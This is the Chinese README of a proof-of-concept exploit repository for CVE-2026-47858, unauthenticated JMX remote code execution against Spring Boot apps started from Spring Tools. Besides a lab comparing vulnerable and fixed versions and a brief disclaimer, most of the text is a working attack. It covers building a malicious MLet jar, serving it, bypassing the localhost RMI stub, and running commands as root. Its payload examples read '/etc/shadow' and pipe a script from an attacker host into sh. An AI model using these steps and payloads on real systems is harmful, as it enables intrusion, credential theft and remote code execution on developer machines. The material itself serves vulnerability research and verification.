
Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.
English README | 漏洞公告: Spring Security Advisory | CVE Record
漏洞:Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 以 live information 模式(默认开启)启动 Spring Boot 应用时,会向应用注入无认证、无 TLS、绑定全部网卡的 JMX 远程参数。相邻网络的攻击者可以无凭据连接该 JMX MBeanServer,并通过 MLet 远程类加载实现直接 RCE(root 权限)。
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H以受影响 tag 5.2.0.RELEASE(== v2.2.0)对比修复 tag 5.3.0.RELEASE(== v2.3.0):
漏洞版 eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true:默认开启,每次从 IDE 启动 Boot 应用都会注入上述参数。vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts)注入相同的 -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false。修复版 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true(JMX 仅绑定回环)。com.sun.management.jmxremote* 参数,改为通过 Attach API 按进程 PID 本地附加(VSCode 侧同理,debug-config-provider.ts 中彻底移除远程 JMX 参数)。注意:
-Dcom.sun.management.jmxremote.port单独出现即会启用 JMX agent(无需主开关com.sun.management.jmxremote),VSCode 变体同样有效。
依赖:docker、JDK 17+(默认 /usr/lib/jvm/java-21-openjdk-amd64)、maven、python3、nsenter(可选)。
./run-lab.sh vuln # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)
自定义在受害机上执行的命令(默认 id; hostname; uname -a):
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
脚本自动完成:构建受害 Spring Boot 应用 → 创建隔离 docker 桥接网络(受害容器 172.22.0.x,攻击者位于宿主机,模拟相邻网络)→ 按对应版本 JVM 参数启动应用 → 展示 JMX 监听端口 → 运行利用 → 在受害容器内验证 RCE 标记文件(/tmp/CVE-2026-47858_PWNED*)。
attack.sh(推荐)命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
过程:自动编译 evil.jar → 将命令 XML 转义后生成 mlet.txt → 起 HTTP 服务提供 evil.jar + mlet.txt → 编译并运行 JmxExploit → (若给出容器名)进入容器验证标记文件。
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn 实现 DynamicMBean,命令在构造函数中经 /bin/sh -c 同步执行(优先级:MLET <ARG> 参数 > 受害进程环境变量 CVE_PAYLOAD_CMD > 默认命令 id; hostname; uname -a)。/tmp/CVE-2026-47858_PWNED — 存在即 RCE 成功/tmp/CVE-2026-47858_PWNED_cmd — 实际执行的命令/tmp/CVE-2026-47858_PWNED_cmdout — 命令输出(stdout+stderr)为什么用
<ARG>?JDKMLetParser只识别<ARG>(<PARAM>会被静默忽略),且TYPE/VALUE均为必填;另外 MLet 解析器不处理 HTML 注释,mlet.txt中不要出现任何多余的<...>文本。
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090) ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口) ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null) ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...) ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>") ← 命令在受害进程内直接执行
getMBeansFromURL 返回时命令已完成(标记文件已落盘)。-Djava.rmi.server.hostname=localhost 只让 RMI stub 通告 "localhost"(默认客户端会去连自己的回环而失败,可用 NaiveJmxClient 复现)。JmxExploit 通过反射改写 stub 的 TCPEndpoint 主机为真实 IP 即可绕过(Metasploit java_jmx_server 等现成工具同样可绕过)。实测证据(受害容器内):
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # 自定义命令输出
d4af4b454b90 # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd # 自定义命令(经 <ARG> 传入)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true 覆盖。CVE-2026-47858/
├── README.md # 本文档(中文)
├── README.en.md # 英文文档
├── run-lab.sh # 一键复现(vuln / fixed-pinned / fixed-auto 三种模式)
├── attack.sh # 灵活利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│ ├── JmxExploit.java # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│ └── NaiveJmxClient.java # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│ ├── evil/Pwn.java # 恶意 DynamicMBean(构造函数执行命令)
│ ├── mlet.txt.template # MLET 描述模板(命令占位符 __COMMAND__)
│ └── evil.jar # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/ # 受害 Spring Boot 4.0.7 应用(web+actuator)
本仓库仅用于授权的安全研究、漏洞验证与防御测试。未经授权对任何系统实施利用属违法行为,使用者自行承担全部责任。
| 配置 | JMX 监听 | 远程未授权连接 | RCE |
|---|
| 5.2.0 漏洞版(Eclipse 参数) | *:19090 等(0.0.0.0) | ✅(stub 主机重写绕过 localhost) | ✅ root |
| 5.2.0 漏洞版(VSCode 2.2.0 参数) | *:19090(0.0.0.0) | ✅ | ✅ |
| 5.3.0 修复版(固定端口) | 仅 127.0.0.1 | ❌ 连接被拒 | ❌ |
| 5.3.0 修复版(默认 auto) | 无 JMX 端口 | ❌ | ❌ |